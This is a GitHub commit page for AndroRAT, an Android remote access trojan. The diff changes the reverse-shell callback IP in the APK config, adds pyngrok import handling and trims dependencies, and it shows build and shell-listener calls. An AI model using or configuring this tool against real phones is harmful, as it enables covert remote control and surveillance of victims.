Skip to content

Commit

Permalink
updates
Browse files Browse the repository at this point in the history
  • Loading branch information
karma9874 committed Feb 16, 2022
1 parent a090088 commit c3ad192
Show file tree
Hide file tree
Showing 5 changed files with 12 additions and 12 deletions.
Binary file removed Compiled_apk/build/apk/classes.dex
Binary file not shown.
2 changes: 1 addition & 1 deletion Compiled_apk/smali/com/example/reverseshell2/config.smali
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@
.locals 1

.line 4
const-string v0, "192.168.0.106"
const-string v0, "127.0.0.1"

sput-object v0, Lcom/example/reverseshell2/config;->IP:Ljava/lang/String;

Expand Down
12 changes: 8 additions & 4 deletions androRAT.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,9 +4,14 @@
from utils import *
import argparse
import sys
from colorama import Fore, Style,init
from pyngrok import ngrok,conf
import platform
try:
from pyngrok import ngrok
except ImportError as e:
print(stdOutput("error")+"\033[1mpyngrok not found");
print(stdOutput("info")+"\033[1mRun pip3 install -r requirements.txt")
exit()

clearDirec()

# _ _____ _______
Expand Down Expand Up @@ -34,7 +39,6 @@
print(stdOutput("error")+"\033[1mPython version should be between 3.6 to 3.8")
sys.exit()


if args.build:
port_ = args.port
icon=True if args.icon else None
Expand All @@ -57,4 +61,4 @@
if args.ip and args.port:
get_shell(args.ip,args.port)
else:
print(stdOutput("error")+"\033[1mArguments Missing")
print(stdOutput("error")+"\033[1mArguments Missing")
4 changes: 1 addition & 3 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1 @@
colorama
pyngrok
pathlib
pyngrok
6 changes: 2 additions & 4 deletions utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,14 +11,13 @@
import platform
import re
from subprocess import PIPE, run
from colorama import Fore, Style,init
from pyngrok import ngrok
import socket
import threading
import itertools
import queue



banner = """\033[1m\033[91m
_ _____ _______
/\ | | | __ \ /\|__ __|
Expand Down Expand Up @@ -52,7 +51,6 @@ def clearDirec():
if(platform.system() == 'Windows'):
clear = lambda: os.system('cls')
direc = "\\"
init(convert=True)
else:
clear = lambda: os.system('clear')
direc = "/"
Expand Down Expand Up @@ -369,7 +367,7 @@ def build(ip,port,output,ngrok=False,ng=None,icon=None):
print(e)
sys.exit()
java_version = execute("java -version")
if java_version.returncode: print(stdOutput("error")+"Java Not Installed");exit()
if java_version.returncode: print(stdOutput("error")+"Java not installed or found");exit()
#version_no = re.search(pattern, java_version.stderr).groups()[0]
# if float(version_no) > 1.8: print(stdOutput("error")+"Java 8 is required, Java version found "+version_no);exit()
print(stdOutput("info")+"\033[0mGenerating APK")
Expand Down

1 comment on commit c3ad192

@Pietri197
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How can i update AndroRAT?

Please sign in to comment.